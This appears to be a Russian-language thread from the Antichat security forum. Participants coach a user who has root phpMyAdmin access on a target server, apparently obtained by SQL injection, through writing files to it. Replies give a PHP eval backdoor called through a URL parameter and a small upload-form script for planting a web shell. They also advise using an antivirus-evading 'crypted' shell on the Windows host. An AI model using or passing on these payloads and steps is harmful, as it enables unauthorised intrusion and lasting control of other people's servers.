ANTICHAT — форум по информационной безопасности, OSINT и технологиям

могут фильтроваться колоки, или быть обманками (пустая колонка, или забитая фигней) еще можно поиграться с лимитом!!! Но я точно не знаю
Если не трудно кинь скуль в лс я гляну)))

Есть рут доступ к phpmyadmin
для раскрытия пути использовал точку после пхп сесии.
выдало мне это
Далее захожу в phpmyadmin выполняю,
ответ NULL,(и другие файлы пробовал такая же фигня)я понял уже что замута с путями,что не так вышло я не пойму
спасибо!

Shadrin

Используй в записи пути к файлу прямые слеши, а не обратные.

спасибо cr0w

в файл пишет и вижу такой код
это я как понимаю у него прав на выполнение нету?попробовал несколько папок такая фигня везде

а в файл чонить попроще нельзя написать? И что значит "у него прав на выполнение нету"? Ты реально это просто почуствовал?

<?eval($_GET[e]);?> - в файл

http://сайт/путь к файлу/файл.php?e=phpinfo();

PS: А для начала хотя бы просто <?php phpinfo();?> в файло запиши.

НЕТ, нам сразу нужно удаленно чото инклудить. На 90% серваков allow_url_include отключен нафиг. Думайте головой уже, сначала хоть что-то простейшее на php загрузите, потом уже делайте выводы.

Записал <?php phpinfo();?> вижу инфо пхп
Записал <?eval($_GET[e]);?> ,при запросе файл.php?e=phpinfo(); вижу в пустую стариницу
и исходном коде <?eval($_GET[e]);?>

о, молодца, дальше почитай phpinfo, который выводится, там много интересного и познавательного можно увидеть.

Попробуй залить теперь вместо <?phpinfo();?> такую приблудку:

<form enctype=multipart/form-data method=post><input name=userfile type=file><input type=submit name=go></form><?if(isset($_POST[go])){if(is_uploaded_file($_FILES[userfile][tmp_name])){@copy($_FILES[userfile][tmp_name],$_FILES[userfile][name]);}}?>

запусти и попробуй залить сразу рабочий шелл с компа прямо, или не шелл, картинку например, главное залить

PS: Шеллы лить - не рутина, но ребус

Учитывая, что винда - большая вероятность антивируса, скорее всего придется искать "нормально" криптованный шелл, а не с99 стандартный из паблика. Сам у себя запусти AV и попробуй обратиться к шеллу, который льешь, например просто открыть его в ноутпаде.

если попалась стандартная ситуация - повезло. Но везет не всегда.

спасибо!хороший скрипт,тока он не хочет заливать шел,а выполняеться,а на своем хосте все норм
там сервер на винде может из за этого,у меня бывают с ними проблемы

Ищи нормальный криптованный шелл, вот что я тебе могу сказать напоследок. Если работает phpinfo - значит дело в шляпе.